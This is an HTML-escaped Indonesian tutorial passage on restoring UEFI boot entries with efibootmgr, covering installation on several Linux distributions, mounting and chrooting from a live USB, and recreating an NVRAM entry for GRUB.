&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Aspek&lt;/th&gt;&lt;th&gt;Legacy BIOS&lt;/th&gt;&lt;th&gt;UEFI&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Partition table&lt;/td&gt;&lt;td&gt;MBR&lt;/td&gt;&lt;td&gt;GPT&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Limit disk&lt;/td&gt;&lt;td&gt;2TB&lt;/td&gt;&lt;td&gt;Jauh lebih besar&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Limit partition&lt;/td&gt;&lt;td&gt;4 primary&lt;/td&gt;&lt;td&gt;Praktis unlimited&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mode CPU&lt;/td&gt;&lt;td&gt;16-bit real mode&lt;/td&gt;&lt;td&gt;32/64-bit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Lokasi bootloader&lt;/td&gt;&lt;td&gt;MBR (sector pertama disk)&lt;/td&gt;&lt;td&gt;File &lt;code&gt;.efi&lt;/code&gt; di ESP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Data boot entry&lt;/td&gt;&lt;td&gt;Ga ada konsep ini&lt;/td&gt;&lt;td&gt;Tersimpan di NVRAM motherboard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Keamanan&lt;/td&gt;&lt;td&gt;Gak ada&lt;/td&gt;&lt;td&gt;Secure Boot&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Kecepatan boot&lt;/td&gt;&lt;td&gt;Lebih lambat&lt;/td&gt;&lt;td&gt;Lebih cepat&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;efibootmgr&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;&lt;div&gt;&lt;div&gt;debian/ubuntuarchlinuxfedoraopensuse&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; FreeBSD sudah meng-&lt;em&gt;include&lt;/em&gt;-kan &lt;code&gt;efibootmgr&lt;/code&gt; pada saat proses instalasi FreeBSD itu sendiri. Jadi, kita bisa langsung menggunakannya jika diperlukan tanpa perlu meng-&lt;em&gt;install&lt;/em&gt; paket tersebut terlebih dahulu.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Prerequisites&lt;a href=&quot;#prerequisites&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum menggunakannya, pastikan kita sudah memenuhi beberapa persyaratan berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Bootable USB (saya sarankan Archlinux).&lt;/li&gt;
&lt;li&gt;Di menu BIOS komputer, boot ke USB tersebut.&lt;/li&gt;
&lt;li&gt;Mount partisi sistem yang ingin diperbaiki bootloader-nya.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdXn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/mnt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mount partisi root&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdXm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/mnt/boot&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mount partisi boot yang terdapat EFI di dalamnya&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Chroot ke sistem tersebut.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;arch-chroot&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/mnt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah beberapa kasus yang memungkinkan kita menggunakan &lt;code&gt;efibootmgr&lt;/code&gt;:&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Check bootloader&lt;a href=&quot;#check-bootloader&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah paling pertama setelah berhasil melakukan chroot ke sistem adalah melihat apakah bootloader-nya masih ada di ESP (EFI System Partition):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot/EFI/&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# atau /efi/EFI/ tergantung mount point lo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dari sini, muncul 2 kemungkinan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;File bootloader (grub/systemd-boot) masih ada.&lt;/li&gt;
&lt;li&gt;File bootloader (grub/systemd-boot) hilang.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita bahas satu persatu.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. Bootloader exists.&lt;a href=&quot;#1-bootloader-exists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kalau file grub/systemd-boot masih ada di situ, berarti masalahnya hanya di entri NVRAM-nya aja, bukan bootloader-nya hilang. Solusinya, kita hanya perlu membuat ulang entrinya ke NVRAM.&lt;/p&gt;&lt;p&gt;Berikut adalah perintah untuk me-&lt;em&gt;reinstall&lt;/em&gt; entri ke NVRAM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-L&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Arch Linux&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;\EFI\grub\grubx64.efi&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;-c&lt;/code&gt;: membuat entri baru (&lt;em&gt;create&lt;/em&gt;).&lt;br /&gt;
&lt;code&gt;-d&lt;/code&gt;: men-&lt;em&gt;specify&lt;/em&gt; disk yang terdapat partisi EFI.&lt;br /&gt;
&lt;code&gt;Y&lt;/code&gt;: nomor urutan partisi dari ESP di disk.&lt;br /&gt;
&lt;code&gt;-L&lt;/code&gt;: memberikan label / nama entri.&lt;br /&gt;
&lt;code&gt;-l&lt;/code&gt;: men-&lt;em&gt;specify&lt;/em&gt; file loader (biasanya berekstensi &lt;code&gt;.efi&lt;/code&gt;).&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Contoh penggunaan:&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# melihat daftar partisi disk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsblk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# output lsblk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nvme0n1&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;259:0&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;953.9G&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─nvme0n1p1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;259:1&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;1G&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;part&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─nvme0n1p2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;259:2&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;200G&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;part&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─nvme0n1p3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;259:3&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;20G&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;part&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─nvme0n1p4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;259:4&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;16M&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;part&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└─nvme0n1p5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;259:5&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;200G&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;part&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# melihat bootloader&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;eza&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-lT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--level&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot/EFI&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# output&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;drwxr-xr-x&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;27&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Apr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;09:41&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grub&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;.rwxr-xr-x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;160k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Jun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;20:07&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grubx64.efi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;drwxr-xr-x&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Jun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;19:06&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Microsoft&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;drwxr-xr-x&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Jun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;19:06&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Boot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;drwxr-xr-x&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Jun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;19:10&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Recovery&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# me-reinstall entri ke NVRAM&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;efibootmgr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/nvme0n1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-L&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Arch Linux&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;\EFI\grub\grubx64.efi&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita bisa lihat apakah entri-nya sudah terpasang atau belum:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 